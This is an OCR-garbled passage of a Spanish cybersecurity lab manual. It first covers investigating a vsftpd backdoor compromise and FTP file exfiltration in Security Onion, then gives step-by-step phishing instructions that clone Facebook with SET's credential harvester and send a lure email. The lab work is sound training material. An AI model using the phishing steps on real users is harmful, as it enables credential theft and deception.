ot s faThAA fennalink
Entire conversation (6197 bytas) =
Q rina | o saveas O ASCI O EBEDIC O HexDump () CArmays @ Raw
@000 ©8 00 27 51 ac 63 @8 00 27 bf {
@916 60 3c 89 90 46 89 48 66 85 74 o
0020 <9 11 18 38 99 75 2f e eb 67 ¢ | |g@) Help [) Filter Out This Stream. xcm
1 in 4 aead
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Utilizar elsa para pasar a los archivos de registro de bro

o Regresar a Sguil y hagan clic derecho sobre la IP de origen o destino asociada con la
alerta GPL ATTACK_RESPONSE id check returned root. Seleccionen "Busqueda de IP con
ELSA > DstIP" e ingresen el usuario analyst y la contrasefia cyberops cuando se les solicite. Si
aparece un mensaje de "su conexién no es privada”, elijan "AVANZADAS > Proseguir al host

local (inseguro)”.

Security Onion [Corrienda] - Oracle VM VirtualBox
|® - ] Event History ) SGUIL-0.9.0 - Connecte... & https://localhost/elsa-q...
https://localhost/elsa-query/?query_string="209.165.201.17" groupby:program - Chromium
https:/flocalhost/elsa-q  x
[ &) ‘(D https://localhost/elsa-query/?query_string="209.165.201.17"%20groupby:program
I Authentication Required *
I https://localhost requires a username and
password.
Cancel Log In
En la interfaz de ELSA, hagan clic en bro_notice.
e
B : [™ Event History = SGUIL-0.9.0 - Connecte... [ ELSA - Chromium & ==[
[ ELSA x
C | A Notsecure | bi#p®://localhostjelsa-query/7query string="209.165.201.17"
ELSA~  Admin~ 1 node(s) with 8223230 logs indexed
Query "209.165.201. 17" groupby: program Submit Query | Help
Erom 2022-08-130354:11 To uTtc | Add Term = |program = Index « Reuse cument tab Grid display
“200.165.201.17" groupby:program (7) [Grouped by program]
Result Options... =
Count ~ Value
W program "209,165.201.17" groupby:program (7) [Grouped by program]
11454  bro_conn
brg_software
bro_natice
bro_ssh
400
bro_can snort bro_dns bro_weird ' bro_software bro_notice bro_ssh
7 .
. El resultado mostrara que la IP 209.165.201.17 estaba realizando un escaneo de puertos

en 209.165.200.235, la VM Metasploitable. Esto sugiere que el atacante pudo haber encontrado
vulnerabilidades en la VM Metasploitable que le permitieron obtener acceso.
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Field Summary
host{1) program(1) class(1) srcip(1) srcport(1) dstip(3) dstport(2) mime_type(1) desc(1) protocol(2) notice_type(2) notice_msq(3) sub_msg(1)
117 ms 2 1 15 v
p Fields
1660518606.914528|-|-|-|-|-|-|-|-|-|Scan::Port_Scan|209.165.201.17 scanned at least 18 unique ports of host 209.165.200.226 in 0Om5s|local|209.165.201.17|209.165.200.226|-|-|seconion-ethl-
14 1|Notice::ACTION_LOG|3600.000000]F|-|-]-|-|-
=127.0.0.1 =bro_notice =BRO_NOTICE =209.165.201.17 =0 =209.165.200.226 =0 = = = =Scan::Port_Scan
=209.165.201.17 scanned at least 18 unique ports of host 209.165.200.226 in 0m5s =local
1660527973.987249|-|-|-|-|-|-|-|{tcp|Scan::Address Scan|209.165.201.17 scanned at least 27 unique hosts on port 443/tcp in 1m19s|local|209.165.201.17|-|443|-|seconion-eth2-
15  1|Notice::ACTION LOG|3600.000000|F|-]-|-|-]-
=127.0.0.1 =bro_notice =BRO_NOTICE =209.165.201.17 =0 =127.0.0.1 =443 =2 = =tcp =Scan:Address _Scan
=209.165.201.17 scanned at least 27 unique hosts on port 443/tcp in 1m19s =local
1660528113.597978|-|-|-|-|-|-|-]-|-|Scan::Port_Scan|209.165.201.17 scanned at least 18 unique ports of host 209.165.200.235 in 1m23s|local|209.165.201.17|209.165.200.235]-|-|seconion-eth2-
15  1|Notice::ACTION LOG|3600.000000|F|--|-|-]-
=127.0.0.1 =bro_notice =BRO_NOTICE =209.165.201.17 =0 =209.165.200.235 =0 = = = =Scan::Port_Scan
=209.165.201.17 scanned at least 18 unique ports of host 209.165.200.235 in 1m23s =local

Regresar a Sguil para investigar el ataque

Regresar a sguil y hagan clic en la ficha "realtime events" (eventos en tiempo real).

Localicen los eventos et exploit vsftpd backdoor user login smiley, los cuales son posibles

ataques y ocurrieron durante el periodo de acceso raiz no autorizado. En el ejemplo se utiliza el
id de alerta 5.2567.

B [ EventHistory =7 SGUIL-0.9.0 - Connecte... B =B 15Auw 0358
- SGUIL-0.9.0 - Connected To localhost t -0 X
Eile Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2 2022-08-15 03:58:20 GMT|
RealTime Evemsw Escalated Evemsw 5.6792 ]
Alert 1D Date/Time DPort
RT 2 seconion-eth1-1 5.6788 2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5432 6 ET POLICY Suspicious inbound to PostgreSQL port 5432
RT 2 seconion-eth1-1 5.6789 2022-08-1501:46:14  209.165.201.17 36358  209.165.200.235 5815 6 ET SCAN Potential VNC Scan 5800-5820
l! 4 seconion-eth1-1 5.6791 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
- 4 seconion-eth2-1 7.6402 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
4 seconion-eth1-1 5.6792 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 419% 6 GPL ATTACK_RESPONSE id check returned root
4 seconion-eth2-1 7.6403 2022-08-1501:46:19  209.165.200.235 6200 209.165.201.17 4199% 6 GPL ATTACK_RESPONSE id check returned root
2 seconion-ossec 1.5223 2022-08-1502:53:37  209.165.200.235 0.0.0.0 0 [OSSEC] Reverse lookup error (bad ISP or attack).
4 seconion-ossec 1.5225 2022-08-1503:21:31  209.165.200.235 0.0.0.0 [OSSEC] Attemipt to login using a non-existent user
1 seconion-ossec 1.5226 2022-08-1503:21:35  209.165.200.235 0.0.0.0 [0SSEC] User login failed.
- 1 seconion-ossec 1.5230 2022-08-1503:22:15  0.0.0.0 0.0.0.0 [OSSEC] User missed the password more than one time U
o
- — I~ Show Packet Data | Show Rule
TP Resolution ] Agent Status 1 Srmrlstatstxs] System Msgs 1 User Msgs 1
[ Reverse DNS v Enable External DNS o
P Source IP Dest IP Ver HL TOS len D Flags  Offset T ChkSum
rcIP:
Src Name:
Uu AP RS F
DstIP: Source Dest R R R C S S5 ¥ 1
Dst Name: Port Port 1 0 G K H T N N Seq # Ack # Offset Res Window Urp ChkSum
Whois Query: * None © SrcIP © DstIP
ﬂ  Hex © Text [ NoCase

Clic derecho sobre el nimero que se encuentra debajo del encabezado de cnt y

seleccionen view correlated events (ver eventos correlacionados) para ver todos los eventos

relacionados. Escoger el id de alerta que comienza con 5. Esta alerta recopilo la informacion

proveniente del sensor en la interfaz seconion-eth1-1.
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™71 SGUIL-0.9.0 - Connecte...

SGUIL-0.9.0 - Connected To localhost

Eile Query Reports Sound: Off ServerName: localhest UserName: analyst UserID: 2 2

RealTime Euemxw Escalated Euemx] 5.6792 ) 5.6791 ]

Close Export

o Alert 1D Date/Time r Event N e
- 1 seconion-... 5.6791 2022-08-1501:46:18  209.165.201.17 59782  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
- 1 seconion-... 5.6793 2022-08-1501:55:23  209.165.201.17 33367  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
- 1 seconion-... 5.6801 2022-08-1502:02:31 209.165.201.17 47108  209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley
- 1 seconion-... 5.6803 2022-08-1502:04:42  209.165.201.17 46451 209.165.200.235 21 6 ET EXPLOIT VSFTPD Backdoor User Login Smiley

. En la ficha nueva con todos los eventos correlacionados, hagan clic derecho sobre el id
de alerta y seleccione transcript (transcripcion) para ver cada alerta mas detalladamente. En este
ejemplo se utiliza el id de alerta 5.2569. En la ultima alerta probablemente se mostrara la

transmision de tcp entre el atacante y la victima.

- x
B [ Event History 1 SGUIL-0.9.0 - Connecte... [F] seconion-ethi-1_6791 @ =F [E] 15 Aug, 03:59
= - seconion-eth1-1 6791 L=
File Query Reports Sound: Off ServerName: localhost UserName: analyst UserID: 2 File
- N Sensor Name: seconion-eth1-1
RealTime Euems] Escalated Euents] 5.6792 5.6791 W Timestamp: 2022-08-15 01:46: 18
Connection ID: .seconion-eth1-1_6791
_Close | _Export_| SrcIP: 209.165.201.17 (209-165-201-17.got.net)
t Dst IP: 209.165.200.235 (209-165-200-235.got.net)
1 seconion-..  5.6791 2 209.165.201.17 59782  200.165.200.235 21 [SFEPOrt: 59782
Dst Port: 21
[r7] 1 seconion-.. 56793 2022-08-1501:55:23  200.165.201.17 33367  209.165.200235 21 |og Fingerprint: 209.165.201.17:59782 - UNKNOWN [S44:63:1:60:M1460,5,T,N.W7:.:2:7] (up: 255 hrs)
RT 1 seconion-..  5.6801  2022.08-1502:02:31 200.165.201.17 47108 200.165.200.235 21 |OSFingerprint: ->209.165.200.235:21 (link: ethernet/modem)
RT 1 seconion-.. 5.6803  2022.08-1502:04:42 200.165.201.17 46851 209165200235 21 | on oo n
DST:
SRC: USER X:)
SRC: PASS X
SRC:
SRC:
DST: 331 Please specify the password.
DST:
DST: 500 OOPS:
. o I Show Packet Data | Show
1P nesnlmmn] Agent Status ]Snurtstalstw System Msgs} User Msgs. }
I Reverse DNS v Enable External DNS
Source IP
[src1p: l
Src Name:
DstIP: Source Dest R
Dst Name: Port  Port 1
Whois Query: # None ( SrcIP " DstIP ’_
Search Abort Close
R Debug Messages

. También se puede hacer clic derecho sobre el id de alerta y seleccionar wireshark para
revisar y guardar el archivo pcap y el flujo de tcp.

U, 103, UL, &/ SD&3 1 LUY. 103, LUV, £33 £4-0.[AW  [WIFESNArK 1. 42.4 {GIL KEV UNKNOWN TTOM UNKIGWN ]
File Edit View Go Capture Analyze Statistics

Telephony Tools Internals Help

©e®@4dmd|lBf xXxelQ a2 |EEllcouli@EE®
Filter: ~ | Expression...
No. Time Source Destination Protoco! Lengtl Info
000000 s s s 0 s s 46451-21 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=1318915625 TSecr=0 WS=
3 0.802961 209.165.201.17 209.165.200.235 TCP 66 46451-21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1318915628 TSecr=327349
4 0.006232 209.165.200.235 209.165.201.17 FTP 86 Response: 220 (vsFTPd 2.3.4)
5 0.007266 209.165.201.17 209.165.200.235 TCP 66 46451-21 [ACK] Seq=1 Ack=21 Win=64256 Len=08 TSval=1318915632 TSecr=327349
6 0.009594 209.165.201.17 209.165.200.235 FTP 78 Reguest: USER nlf:)
7 0.811176 209.165.2080.235 209.165.201.17 TCP 66 21-+46451 [ACK] Seq=21 Ack=13 Win=5792 Len=0 TSval=327358 TSecr=1318915635
8 0.012321 209.165.200.235 209.165.201.17 FTP 100 Response: 331 Please specify the password.

b Frame 1: 74 bytes on wire (592 ), 74 bytes captured (592 bits)

b Ethernet II, Src: 08:00:27:51: 3 (08:00:27:51:ac:03), Dst: 08:00:27:bf:fa:7b (08:00:27:bf:fa:7b)
b Internet Protocol Version 4, Src: 289.165.201.17 (209.165.201.17), Dst: 209.165.200.235 (2089.165.200.235)
» Transmission Control Protocol, Src Port: 46451 (46451), Dst Port: 21 (21), Seq: 0, Len: @
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Utilizar elsa para ver datos exfiltrados

. Para obtener mas detalles sobre la alerta mencionada, se debe hacer clic derecho sobre

la direccion IP de origen o destino y seleccionar "ELSA IP Lookup > DstIP".

ZUS- 105 2L 14 ~BDSDL-LUS DD LUV L35 £ -0 (AW |WITESNATK L:1e-d{GIL KEV UNKNOWN TTOM: N KNoWN 1)
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

©@@am 1 B xXE|Q crav e @@ E® @

Filter: ~ | Expression... Clear Appl

No. Time Source Destination Protoco’ Lengtl Info

0.000000 209.165.201.17 209.165.200.235 4645121 [SYN] Seq=8 Win=64248 Len=0 M55=1460 SACK PERM=1 TSval=1318915625 TSecr=0 WS=
3 0.002961 209.165.201.17 209.165.200.235 TCP 66 46451-21 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=1318915628 TSecr=327349
4 0.006232 209.165.200.235 209.165.201.17 FTP 86 Response: 2208 (vwsFTPd 2.3.4)
5 0.007266 209.165.201.17 209.165.200.235 TCP 66 46451-+21 [ACK] Seq=1 Ack=21 Win=64256 Len=8 TSval=1318915632 TSecr=327349
6 0.009594 209.165.201.17 209.165.200.235 FTP 78 Request: USER nlf:)
7 0.811176 209.165.200.235 209.165.201.17 TCP 66 21-+46451 [ACK] Seq=21 Ack=13 Win=5792 Len=0 TSval=327350 TSecr=1318915635
8 0.012321 209.165.200.235 209.165.201.17 FTP 160 Response: 331 Please specify the password.

b Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
» Ethernet II, Src: 08:00:27:51:ac:03 (08:00:27:51:ac:03), Dst: 08:00:27:bf:fa:7b (08:00:27:bf:fa:7b)
» Internet Protocol Version 4, Src: 289.165.201.17 (209.165.201.17), Dst: 209.165.280.235 (2089.165.200.235)

. Luego, se debe hacer clic en "bro_ftp" para revisar los archivos de registro relacionados
con FTP en ELSA.

Security Onion [Cerriendo] - Oracle VM VirtualBox

Archivo  Maquina Ver Entrada  Dispositives  Ayuda

B - = Event History = SGUIL-0.9.0 - Connecte... [E ELSA- Chromium &

[ ELSA x

C ‘ A Notsecure | b#ps://localhost/elsa-query/?query_string="209.165.200.235"%20groupby:program

| ELSA~  Admin ~ 1 node(s) with 822628.0 logs indg

Query ['209.165.200.235" groupby:program| || suomitQuery | Heip

Erom 2022-08-13 04:01:09 | To | [ uTe | Add Term ~ program = Index ~ | [ Reuse currenttab (| Grid display

y:program (12) [Grouped by program]

Result Options... v

Count « Value

e | M program "209.165.200.235" groupby:program (12) [Grouped by program]

4813 bro_conn

5000
1325 snort
158 bro_dns

4000
92 bro_weird
10 ossec_archive boco
10 sshd
9 ossec 2000
(] bro_ssh
4 bro_ftp 1000
3 bro_software

0

2 arm_files - bro_conn bro_dns sshd ossec bro_fip bro_files

. El archivo transferido por FTP a la direccion 209.165.200.235 es "confidential.txt", y el

usuario que realiz6 la transferencia es "analyst".

o Haciendo clic en "info" se pueden ver las transacciones del ultimo registro. El campo
"reply msg" indica que esta entrada es la ultima correspondiente a la transferencia del archivo
"confidential.txt". Se debe hacer clic en "Plugin > getPcap" para obtener una transcripcion pcap
y descargar el archivo pcap. Ingresar "analyst" como nombre de usuario y "cyberops" como

contrasefa si es necesario.
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LSA~  Admin~ 1 node(s) with 822628.0 logs indexed and 822662.0
ery ['209.165.200.235" program="bro_ftp" Submit Query | Help
pm [2022-08-13 04:01:09 | To uTC Reuse currenttab (] Grid display
1209.165.200.235" groupby:program (12) [Grouped by program] | X
Resull Options... ~ |Field Summary
host(1) program(1) class(1) sreip(1) Srcport(1) dstiptl) dstport(1) file_size(2) command(2) ara(2) mime_type(2) reply_msq(2)
Records: 41440 ms 2 1 15 v
Log Info x
Timestamp
qGNFeyYd|192.168 Summary 192,168,0,11,205,129]-|-]200[PORT command successful. Consider using
jrg | Mon Aug 15 PASV.|F|209.165.200; 235[182.168.0.11/52609)- Links
e 03:26:56 host: =21 flle_s126=200 command=PORT 219=192,168,0,11,206.129 rmime_type=-
Plugins
Plugin - 2,168,0,11,205,129]-|-[200|PORT command successful. Consider using
Mon Aug 15 jonan)
03:26:56 getPcap =21 i =200 command=PORT arg=192,168,0,11,205,129 mime_type=-
1660534010.375266|CvFPNK3ZCYtqGLSg0C|192.168.0, :11209.165.200.2351. i |226[Transter complete. --|-|
o Mon Aug 15 |FzvTn743QBVId7wy!
e o3:27:01 27.00 mmznd=STOR zrg=ftp://209.165.200.235/ iconfidential.txt
ransfer complete.
qGnFeyYd|192.168.0.11|341 165.200.235[2 complete.|-|-
\fg | Mon Aug 15
T 03:27:01 SICIp=192.168.0.11 srcport=34118 dslip=209.165.200.235 1mand=STOR D://209.165.200.235/ txt
ELSA % / [ capME! x
C | A Notsecure | b#ps://localhost/capme/index.php?&sip 8.0.11&sp e=166( eti 6053581¢ <38+
Would you like to translate this page? Options
COME analyst |
Translate || Nope | ~
192.168.0.11:34118 200,165 200.235:21-6-1911780024 pcap
Sensor Name: seconion-gthl
iy sl dowg doue
Connection I
Sre 1P: 192 155011 (Unknown)
Dst P: 209.165.200.235 (209-165-200-235.got.nef)
Stc Port: 34118
Dst Port: 21
N Data Sent.
DEBUG: Using archived data: Insmiserver ¢ 08 th1/192.168.0.11:34118_209.165.200.235:21-6.raw
QUERY: SELECT sid FROM sensor WHERE hostname='seconion-gth1' AND agent type="pcap’ LIMIT 1
CAPME: Processed transcript in 2,05 seconds: 0.57 109 0.00 0.39 0.00
192.168.0.11:34118 200,165 200.235:21-6-1911780024 pcap

. Para determinar el contenido del archivo afectado, se debe abrir una nueva ficha en
ELSA y realizar otra busqueda.

. Expandir "FTP" y hacer clic en "FTP Data". Luego, seleccionar uno de los enlaces de

informacion y usar "getPcap™ en el menu desplegable para examinar el contenido del archivo
robado.

& ELSA - Chromium
£l ELSA - Chromium
[ ELsA x

& C | A Notsecure | bapS:/localhostelsa
Connections -

ELSAv  Adminv 1 node(s) with 822892.0 log

Query

DHCP

DNP3 Erom |2022-08-13 04:07:09 | To

Reuse currenttab (] Grid display

B

Top / Bottom Clients
Top / Bottom Servers
Top / Bottom File Types
Top / Bottom File Names

Host Logs
HITP

Intel

Kerberos
Modbus

MySQL
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. En el resultado, se puede ver el contenido del archivo "confidential.txt" que fue

transferido al servidor FTP.

[ ELSA x
= C | A Notsecure | b#ps:/localhost/elsa 4
Connections ~| ELsav  Admin~ 1 node(s) with 822915.0 logs indexed and 822956.0 arch|
DHCP Query |class=BRO_CONN service="ftp-data{ || submit uery | Help
DNP3 Erom [2022-08-13 04:08:09 | To utc | AddTem - | [ Reporton - | | index - | [ Reuse curenttab () Grid display
DNS class=BRO_CONN service="ftp-data" (2) [EW
Files i
Result Options... v |Field Summary
Ei n host(1 program 1) class(1, Sreip| 1) STCQO"I GSUE 1) US(QDﬂl proto| 1 Dﬂes in{1) service(1) conn_duration(2) DyLes out(1] QKLE out(1’ QK(S inf1]
rewal
resp_country_code(1)
FIP Records: 2/2 137 ms 2 1 5 v
Top / Bottom Clients
Top / Bottom Servers Timestamp Fields
Top / Bottom File Types 381537|CFATIK 1209.165.200.235|20]192.168.0.1 |SFIT|T|0|ShAdfFald|216]4]318]
Top/ Bottom File Names g | MenAugls | (empty)|USHseconion-ethl
Top DST Ports 0fe ' h3:26:59 =127.0.0.1 prooram=bro_conn class=BRO_CONN srcip=209.165.200.235 sicpori=20 dsiip=182.168.0.11 dsipor=52609 proio=TCP bytes in=102
Top Commands ice=tp-data conn_duration=0.009634 = pkts_out=A4 pkts_in=4 resp_country_code=-
FTP Data
| 165.200.235|20]192.168.0.1 -d; 10. [TITIOJ: 14 | |—8|
Host Logs Info | MOnAug 15 (empty)|USHseconion-etho
M8 53:26:59 =127.0.0.1 program=bro_conn class=BRO_CONN srcip=209.165.200.235 srcport=20 dslip=192.168.0.11 dsipor=52609 proto=TCP hytes_in=102
HITP ce=fip-data conn_duraiion=0.009623 = pkis_out=4 pids_in=4 resp_couniry_code=-
Intel Records: 2/2 137 ms 2 1 5 v
B Security Onion [Corriendo] - Oracle VM VirtualBox -
B [ SGUIL-0.9.0 - Connecte... [{ capME! - Chromium @ =E[E 15 Aug)
9 capME! - Chromium +
[ ELSA % /[ capME! X
C | A Notsecure | bepS://localhost/capme/?sip=209.165.200.235&dip=192.1¢ 11 20&dpt=52609&stime=1660532219&etime=1660535819 B |
Would you like to translate this page? Options
WELCOME analyst |
Translate | Nope ~
192.168.0.11:52603_209.165.200.235:20-6-1959552757.pcaj
Sensor Name: seconion-ethl
Timestamp: 2027-08-15 08:26/50
Connection ID: CLI
Src |P: 192,168,011 (Unknown)
Dst [P 209.165.200.235 (209-165-200-235.got.net)
Src Port: 52609
Dst Part: 20
No Data Sent.
DEBUG: Using archived data: X i 08 1h1/192.168.0,11'52609_209.165.200,235:20-6.raw
QUERY: SELECT sid FROM sensor WHERE L' AND agent_type=pcap’ LIMIT 1
CAPME: Processed transcript in 1.30 seconds: 0,49 0.47 0.00 0.34 0.00
192.168.0.11:52603_209.165.200.235:20-6-1959552757.pcaj

Limpieza

Cierren todas las VM cuando hayan terminado.

En esta practica de laboratorio, se utiliz6 una vulnerabilidad en vsftpd para obtener acceso no

autorizado a informacion. Mediante el analisis de los registros en Sguil y ELSA, se determind

que el atacante, utilizando Kali Linux, explotd las vulnerabilidades de vsftpd para obtener

acceso al usuario root en Metasploitable. Con la cuenta de "analyst", el atacante accedi¢ al

archivo "confidential.txt" y lo transfirio mediante FTP a Metasploitable, donde pudo recuperar

el archivo.
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5.4. Practica 4. Simulacion de un ataque de ingenieria social mediante phishing.

Objetivos

o Comprender la técnica de phishing: Aprender como se realiza un ataque de phishing
para engafiar a los usuarios y obtener informacion sensible como credenciales de inicio de

sesion.

o Simular un ataque de phishing controlado: Configurar y ejecutar una campafia de

phishing en un entorno controlado para estudiar las técnicas utilizadas por atacantes.

o Analizar las consecuencias y la mitigacion: Observar las consecuencias del ataque y

discutir las medidas de seguridad que pueden implementarse para prevenir el phishing.
Recursos necesarios
Entorno de red controlado:

o Un laboratorio virtual o una red aislada para realizar las pruebas de phishing sin riesgos

para usuarios reales.
Servidor web (para alojar el sitio de phishing):

o Una maquina virtual o fisica con Apache o Nginx para alojar una pagina web que simule

la pagina de inicio de sesion de una aplicacion o servicio legitimo.
Setoolkit (Social-Engineer Toolkit):

o Herramienta disponible en kali linux para realizar ataques de ingenieria social, incluida

la creacion de sitios de phishing.
Cliente de correo electronico:

o Un cliente de correo electronico configurado para recibir y enviar correos electronicos

falsos desde la maquina atacante.
Wireshark (opcional):

o Para capturar y analizar el trafico de red durante la ejecucién del ataque.
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Acceso a un navegador web:
o Para interactuar con el sitio de phishing y verificar su funcionalidad.
Paso 1: Configuracion del entorno de laboratorio.

Configurar el servidor web: Instalar y configurar un servidor web en una maquina virtual o
fisica. La ip para el servidor web es 10.0.2.20. Asegurarse que el servidor esté operativo y
accesible desde la red del laboratorio. Instalacion de Apache en Linux con los siguientes

comandos: sudo apt-get update y sudo apt-get install apache?2.

Terminal B = o) 2131 %

root@apache: /home/web
web@apache:~$ sudo su

[sudo] password for web:
root@apache: /home /web# sudo apt-get update

| @

@} {p @.Cy E@@@Rightcm

rtualBox — (]

i’j apache [Running] - Oracle \

Terminal 1 B = e 232

root@apache: fhomefweb

Hit http://fec. ubuntu. trusty-backports/restricted Translation-en
Hit http://ec. .ubuntu. trusty-backports/universe Translation-en
Hit http://fec. ive.ubuntu. trusty/main Sources

Hit http://ec. ive.ubuntu. trusty/restricted Sources

Hit http://fec. ive.ubuntu. trusty/universe Sources

Hit http://ec. ive.ubuntu. trusty/multiverse Sources

Hit http://fec. ive.ubuntu. trusty/main amd64 Packages

Hit http://fec. ive.ubuntu. trusty/restricted amdé4 Packages
Hit http://fec. ive.ubuntu. trusty/universe amd64 Packages

Hit http://fec. ive.ubuntu. trusty/multiverse amdé4 Packages
Hit http://fec. ive.ubuntu. trusty/main 1386 Packages

Hit http://fec. ive.ubuntu. trusty/restricted 1386 Packages

Hit http://fec. ive.ubuntu. trusty/universe 1386 Packages

Hit http://fec. ive.ubuntu. trusty/multiverse 1386 Packages

Hit http://fec. ive.ubuntu. trusty/main Translation-en

Hit http://ec. ive.ubuntu. trusty/multiverse Translation-en
Hit http://fec. ive. a trusty/restricted Translation-en
Hit http://ec. ive. . trustyfuniverse Translation-en

Ign http://ec. ive. a trusty/main Translation-en_us

Ign http://ec. i . trusty/multiverse Translation-en_US
Ign http://ec. i trusty/restricted Translation-en_us
Ign http://fec. i trusty/universe Translation-en_US
Reading package list a

root@apache: /home /fweb# sudo apt-get install apachez

il & @&f @ [#] right ctrl

Instalar Setoolkit en kali linux.
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La ip para kali linux es 10.0.2.15.
Setoolkit deberia estar preinstalado. De lo contrario, puedes instalarlo con:
sudo apt-get update

sudo apt-get install set

Configurar el Cliente de Correo Electrénico: Se debe instalar Thunderbird, un cliente de correo

electronico. En distribuciones basadas en Debian (como Ubuntu y Kali Linux).

Por defecto esta aplicacion ya viene previamente instalada en Kali, caso contrario se utilizara

el siguiente comando
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@by EiE R R

Paso 2: Configurar una Cuenta de Correo para Envio de Phishing

Creacion de una cuenta de correo electronico para pruebas: Es recomendable crear una cuenta
de correo electrénico temporal o de pruebas en servicios como Gmail, Yahoo, o cualquier otro
proveedor de correo. Esta cuenta debe estar destinada Unicamente a pruebas y no contener

informacion personal.
Para esta practica usaremos cuentas temporales tanto para vistica y atacante

Cuenta victima: suarezodalis69@yahoo.com

Cuenta atacante: paoctavio28@yahoo.com

Configuraciéon de thunderbird para usar la cuenta de pruebas: Se debe abrir Thunderbird vy, si

es la primera vez que se usa, configurar una cuenta de correo.

Afadir una nueva cuenta de correo electronico: En la ventana de configuracion de la cuenta,

se debe ingresar un nombre falso (por ejemplo, "Soporte Técnico").

Se introducira la direccion de correo electrénico de pruebas y la contrasefia asociada.
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mailto:suarezodalis69@yahoo.com
mailto:paoctavio28@yahoo.com

v Configuration found in Mozilla ISP database.

oo | E i Sl (#] right o

Configuracién manual de los ajustes del servidor: Thunderbird intentard detectar
autométicamente los ajustes del servidor de correo. Es necesario configurar manualmente el

servidor SMTP seleccionando la "Configuracion manual™ para cambiar los detalles.
Configuracion de SMTP

. Se debe introducir el servidor SMTP del proveedor de correo (por ejemplo,
smtp.gmail.com para Gmail).

. Se usara el puerto 587 para conexiones TLS o0 465 para SSL.
. Método de Encriptacion: Seleccionar STARTTLS o SSL/TLS.

. Autenticacion: Se selecciona "Autodetectar” o se ingresan las credenciales de la cuenta
de pruebas.

Después de configurar el servidor SMTP, se debe guardar la configuracién y realizar un envio

de correo de prueba para asegurar que todo funciona correctamente.
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SSL/TLS

d: OAuth2

SSL/TLS

d: Autodetect

Bobh@y EiE R R

Paso 3: Crear una Pagina de Phishing con Setoolkit
Abre un terminal en Kali Linux y ejecuta:

sudo setoolkit

File Actions Edit View Help

Selecciona la opcion 1 Social-Engineering Attacks.
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File Actions Edit View Help

password.|st

BVlomP oD

File Actions Edit View Help
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Después, selecciona 3 Credential Harvester Attack Method.

E kali@kali: ~
File Actions Edit View Help

9) Powershell Attack Vectors
10) Third Party Modules

99) Return back to the main menu.

> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order
The Java Applet Attack method will spoof a Java Certificate and deliver a Metasploit-ba

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits t

The Credential Harvester method will utilize web cloning of a web- site that has a user

The TabNabbing method will wait for a user to move to a different tab, then refresh the

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utiliz
s link. You can edit the link replacement settings in the set_config if it's too slow/f

The Multi-Attack method will add a combination of attacks through the web attack menu.

The HTA Attack method will allow to clone a site and perform PowerShell injection

Tabnabbing Attack WM

eb Jacking Attack Method
Multi-Attack Web Method
HTA Attack Method

Return to Main Menu

Finalmente, elige 2 Site Cloner.

kali@kali: ~
File Actions Edit View Help
The Multi-Attack method will add a combination of attac rough the web attack menu.
The HTA Attack method will allow you to clone a site and perform PowerShell injection t
1) Java Applet At k Method

) tasploit Bro: r Exploit Method
r ethod

6) Multi-Attack Web Method
7) HTA Attack Method
99) Return to Main Menu

>3

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of ur choos
and allow you to utilize the attack vectors within the complete
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) h Tomnl

2) Site Cloner

55 CusUon Tuipui ¢

99) Return to Webattack Menu

Setoolkit solicitara la IP del servidor donde se alojara la pagina de phishing. Aqui, se debe

introducir la direccion IP interna o externa del servidor web que esta siendo utilizado para este
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propdsito.Una vez que se haya ingresado la IP del servidor, Setoolkit solicitara la URL del sitio
web legitimo que se va a clonar. Se debe introducir la URL completa del sitio que se desea
clonar (por ejemplo, una pagina de inicio de sesion de correo electronico popular, como Gmail

o0 Facebook). En este caso se utiliza la pagina de https://www.facebook.com/

N mmP O] 2 3 4| OO A azo|ac

kali@kali: ~

Log Out...

File Actions Edit View Help
— * IMPORTANT * READ THIS BEFORE ENTERING

using
't a SET issue
this is

£ > IP address for the POST back in Harvester/Tabnabbing [10.2.2.15]: 1@.¢
SET supports HTTP and HT
Example: htto ol sa

£ > Enter the url to

'{ woni . facebook.

G im0 e @&l (O (¥ cTRL DERECHA

Después de ingresar la URL, Setoolkit procedera a clonar el sitio legitimo y configurard un
servidor local en la IP especificada. Este servidor alojara la pagina de phishing. Setoolkit
notificara que la clonacion ha sido exitosa y que el servidor esta listo para capturar las

credenciales ingresadas por las victimas.

El sitio clonado estara ahora disponible en la direccion IP especificada, y cualquier persona que
acceda a esa [P verd la pagina clonada, que se comportara como el sitio legitimo, pero capturara

cualquier credencial ingresada.

El mensaje que debe mostrarse para saber que la pagina ha sido clonada con éxito es:

163 | Pagina


https://www.facebook.com/

The site has been successfully cloned. Any credentials entered on the site will be captured and

stored.
Paso 4: Enviar el correo de phishing.

o Crear un correo electronico de phishing: Redacta un correo electrénico convincente que
incluya un enlace al sitio de phishing que configuraste. Asegurate de que el correo electronico

parezca provenir de una fuente legitima

B @e =R E(# cTr DERECHA

o Enviar el Correo de Phishing: Envia el correo electrénico a la cuenta de prueba

configurada en el laboratorio.

O® A 8|l 6

@ @ = A E [#] cTr DERECHA
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Paso 5: Interactuar con el sitio de phishing y capturar credenciales.

o Abrir el correo electronico en el cliente de pruebas: Se debe abrir el cliente de correo
electrénico de pruebas donde se recibi6 el correo de phishing. Al visualizar el correo, se hara

clic en el enlace proporcionado que redirige al sitio de phishing.

4 Web [Running] - Oracle VM VirtualBox — (m] X

& | Apachez Ubuntu Default Pacx | & (No hay mensajes nuevos x
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Borradores
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Spam enlace y confirme la informacion de inicio de sesion
